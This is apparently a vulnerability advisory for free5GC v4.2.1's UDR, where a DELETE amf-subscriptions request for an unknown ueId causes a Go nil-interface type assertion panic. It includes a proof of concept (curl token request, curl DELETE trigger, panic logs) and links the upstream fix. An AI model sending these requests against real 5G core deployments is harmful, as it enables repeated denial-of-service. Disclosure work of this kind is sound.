free5GC's UDR nudr-dr DELETE amf-subscriptions panics on missing UE state via nil interface type assertion (single authenticated request)

### Summary free5GC's UDR nudr-dr DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions handler panics on a single authenticated request against a fresh UDR instance when the supplied ueId does not exist in UESubsCollection. The processor checks value, ok := udrSelf.UESubsCollection.Load(ueId) and sets a 404 USER_NOT_FOUND problem-details on the miss path, but execution continues and immediately runs value.(*udr_context.UESubsData) -- a Go type assertion on a nil interface, which panics with interface conversion: interface {} is nil, not *context.UESubsData. Gin recovery converts the panic into HTTP 500, but the endpoint remains repeatedly panicable.

This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set pd, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required.

This endpoint requires a valid nudr-dr OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

Details

Validated against the UDR container in the official Docker compose lab. - Source repo tag: v4.2.1 - Running Docker image: free5gc/udr:v4.2.1 - Runtime UDR commit: 754d23b0 - Docker validation date: 2026-03-22 - UDR endpoint: http://10.100.200.11:8000

Vulnerable handler (the ok miss path sets pd but does not return; the next line type-asserts the nil interface): ``go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) ``

In the processor: ``go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USER_NOT_FOUND") } UESubsData := value.(*udr_context.UESubsData) // panics: nil interface ``

When ueId is absent from UESubsCollection, value is the nil interface{} returned by sync.Map.Load, and value.(*udr_context.UESubsData) panics with: `` panic: interface conversion: interface {} is nil, not *context.UESubsData ``

Code evidence (paths in free5gc/udr): - Route exposure + handler dispatch: - NFs/udr/internal/sbi/api_datarepository.go:2161 - NFs/udr/internal/sbi/api_datarepository.go:2170 - NFs/udr/internal/sbi/api_datarepository.go:2172 - Panic root cause (nil interface type assertion): - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53 - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56 - NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61

PoC

Reproduced end-to-end against the running UDR at http://10.100.200.11:8000 -- single authenticated request, no preconditions.

1. Restart UDR (clean state -- proves no precondition is needed): `` docker restart udr ``

2. Obtain a valid nudr-dr token from NRF: `` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``

3. Trigger the panic with one DELETE for a nonexistent ueId=x: `` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``

HTTP/1.1 500 Internal Server Error
Content-Length: 0

4. UDR container logs (docker logs udr) confirm the nil-interface conversion panic at event_amf_subscription_info_document.go:61 inside RemoveAmfSubscriptionsInfoProcedure: `` [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:61 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``

Impact

Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a 404 problem-details value but does not return, then runs a Go type assertion on the nil interface returned by sync.Map.Load.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid nudr-dr OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the amf-subscriptions delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended 404 USER_NOT_FOUND response would have.

No Confidentiality impact (the response is 500 with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60